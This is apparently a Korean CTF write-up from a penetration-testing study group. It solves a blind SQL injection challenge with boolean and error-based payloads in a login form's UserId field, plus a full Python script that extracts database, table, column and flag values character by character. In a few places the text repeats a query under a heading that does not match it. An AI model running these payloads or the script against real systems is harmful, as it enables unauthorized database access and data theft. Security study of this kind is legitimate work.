[모의해킹 CTF] Blind SQLi 6

모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.

 

CTF SQLi 6 문제 풀이

 

목차

 

1. SQLi Point 확인

2. Data 추출 코드

3. Python 코드

위의 목차를 클릭하면 해당 글로 자동 이동 합니다.

 

SQLi Point 확인

입력한 구문에 따라, 참과 거짓 값이 구분되어 리턴 되는지 확인한다. 

normaltic’ and (‘1’=‘2’) and ‘1’=‘1
normaltic’ and (‘1’=‘1’) and ‘1’=‘1

 

 

Data 추출 코드

1. Database 명 찾기

'UserId': f"normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'

2. Table 명 찾기

'UserId': f"normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'

3. Column 명 찾기

'UserId': f"normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'

4. Data 확인

'UserId': f"normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'

 

Python 코드

더보기
import requests
import re

print("[*] Sql Injection6 ")

url = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}

#sql injection point 찾기
def sqli_point(url, headers, session):
    result = ""
    numChar = 1
    
    while True:
        found = False
        for i in range (0,130):
            data = {
                    'UserId': f"normaltic' and (ascii(substr((select database()),{numChar},1))>{i}) and '1'='1",
                    'Password': '1234',
                    'Submit': 'Login'
                }
            
            response = requests.post(url, headers=headers, data=data)

            if response.status_code == 200:
                match = re.search(r'User Name :.*', response.text)
                if not match:  # "User Name:"이 리턴되지 않는 경우
                        if i == 0:
                            print (f"NULL at {numChar}")
                            break
                        found = True
                        result += chr(i)
                        print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
                        break
            else:
                print(f"Failed to get response: {response.status_code}")
                return

        if not found:
            break

        numChar += 1
    print(f"Database name: {result}")
    
#database 안의 table, column 찾는 쿼리 (append로 컬럼별로 result를 구분할 수 있을 것 같은데.. 아직 방법 못찾음)
def find_database(url, headers, session):
    results = []
    numChar = 1
    column = 0
    result = ""
    
    while True:
        char_found = False  # 루프의 시작 부분에 char_found를 초기화
        for i in range (130):  # offset 값을 0부터 시작하여 증가시키며 반복
            print(f"Trying column: {column}, numChar: {numChar}, i: {i}", end="\r")
            data = {
                'UserId': f"normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit {column},1),{numChar},1))={i}) and '1'='1",
                'Password': '1234',
                'Submit': 'Login'
            }
            
            response = session.post(url, headers=headers, data=data)

            if response.status_code == 200:
                match = re.search(r'User Name : *', response.text)
                
                if match: # "User Name:"이 리턴되지 않는 경우
                    print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
                    if i == 0 and numChar > 1:
                        print(f"End of column {column} : {result}") 
                        results.append(result) # 각 column의 결과를 results 리스트에 추가
                        result = "" # result 초기화 (이전 column 값이 다음 column에 반영되지 않도록 설정)
                        numChar = 1
                        column += 1  # column 값을 증가시킴
                        char_found = True
                        break
                    result += chr(i)
                    numChar += 1
                    char_found = True
                    break
        if not char_found: # 더 이상 문자를 찾을 수 없으면 column 값을 증가시킴
            if result :
                results.append(result)
            numChar = 1  # numChar를 1로 초기화
            column += 1  # column 값을 증가시킴
            if column > 5:  # 수정: column의 최대치를 지정 (원하는 만큼 수정 가능)
                break
    for col_result in results:
        print(f"Database name: {col_result}")  # 각 column의 결과를 출력
    
def find_column(url, headers, session):
    result = ""
    numChar = 1
    column = 0
    while True:
        char_found = False  # 루프의 시작 부분에 char_found를 초기화
        for i in range (130):  # offset 값을 0부터 시작하여 증가시키며 반복
            print(f"Trying column: {column}, numChar: {numChar}, i: {i}", end="\r")
            data = {
                'UserId': f"normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit {column},1),{numChar},1))={i}) and '1'='1",
                'Password': '1234',
                'Submit': 'Login'
            }
            
            response = session.post(url, headers=headers, data=data)

            if response.status_code == 200:
                match = re.search(r'User Name : *', response.text)
                
                if match: # "User Name:"이 리턴되지 않는 경우
                    print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
                    if i == 0 and numChar > 1:
                        print(f"End of column {column} : {result}") 
                        numChar = 1
                        column += 1  # column 값을 증가시킴
                        char_found = True
                        break
                    result += chr(i)
                    numChar += 1
                    char_found = True
                    break
        if not char_found: # 더 이상 문자를 찾을 수 없으면 column 값을 증가시킴
            numChar = 1  # numChar를 1로 초기화
            column += 1  # column 값을 증가시킴
            if column > 5:  # 수정: column의 최대치를 지정 (원하는 만큼 수정 가능)
                break
    print(f"Column name: {result}")

#table 안에서 column 값 조회
def find_data(url, headers, session):
    result = ""
    numChar = 1
    while True:
        found = False  # 루프의 시작 부분에 char_found를 초기화
        for i in range (0,130):  # offset 값을 0부터 시작하여 증가시키며 반복
            print(f"Trying numChar: {numChar}, i: {i}", end="\r")

            data = {
                'UserId': f"normaltic' and (ascii(substr((select flag from flag_table limit 0,1),{numChar},1))>{i}) and '1'='1",
                'Password': '1234',
                'Submit': 'Login'
            }
            
            response = requests.post(url, headers=headers, data=data)

            if response.status_code == 200:
                match = re.search(r'User Name :.*', response.text)
                if not match:  # "User Name:"이 리턴되지 않는 경우
                        if i == 0:
                            print (f"NULL at {numChar}")
                            break
                        found = True
                        result += chr(i)
                        print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
                        break
            else:
                print(f"Failed to get response: {response.status_code}")
                return

        if not found:
            break

        numChar += 1
    print(f"Database name: {result}")
    
#테이블 안에서 여러 컬럼의 값을 리턴하는 쿼리
def find_flag_in_flagtable(url, headers, session):
    matches = []  # 모든 match.group(0) 값을 저장할 리스트

    offset = 0
    for offset in range (9):  # offset 값을 0부터 시작하여 증가시키며 반복

        data = {
            'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select flag{offset+1} from flag_table limit 1 offset 0))) and '1'='1",
            'Password': '1234',
            'Submit': 'Login'
        }

        response = requests.post(url, headers=headers, data=data)

        if response.status_code == 200:
            match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
            if match:
                print(f"Offset {offset}: {match.group(0)}")
                parts = match.group(0).split("Could not update data: XPATH syntax error: ':")
                if len(parts) > 1:
                    matches.append(parts[1].rstrip("'"))  # ':' 뒤의 내용만 리스트에 추가
                offset += 1  # offset 값을 증가시킴
            else:
                match = re.search (r'User Name :.*', response.text)
                if match:
                    print(match.group(0))
                else:
                    print("Required text not found in the response.")
        else:
            print(f"Failed to get response: {response.status_code}")
            break

    # 모든 match.group(0) 값을 한 줄로 출력
    print(" ".join(matches))

session = requests.Session()

#result = sqli_point(url, headers, session)
result = find_database(url, headers, session)
#result = find_column(url, headers, session)
#result = find_data(url, headers, session)
#result = find_flag_in_flagtable(url, headers, session)
print(result)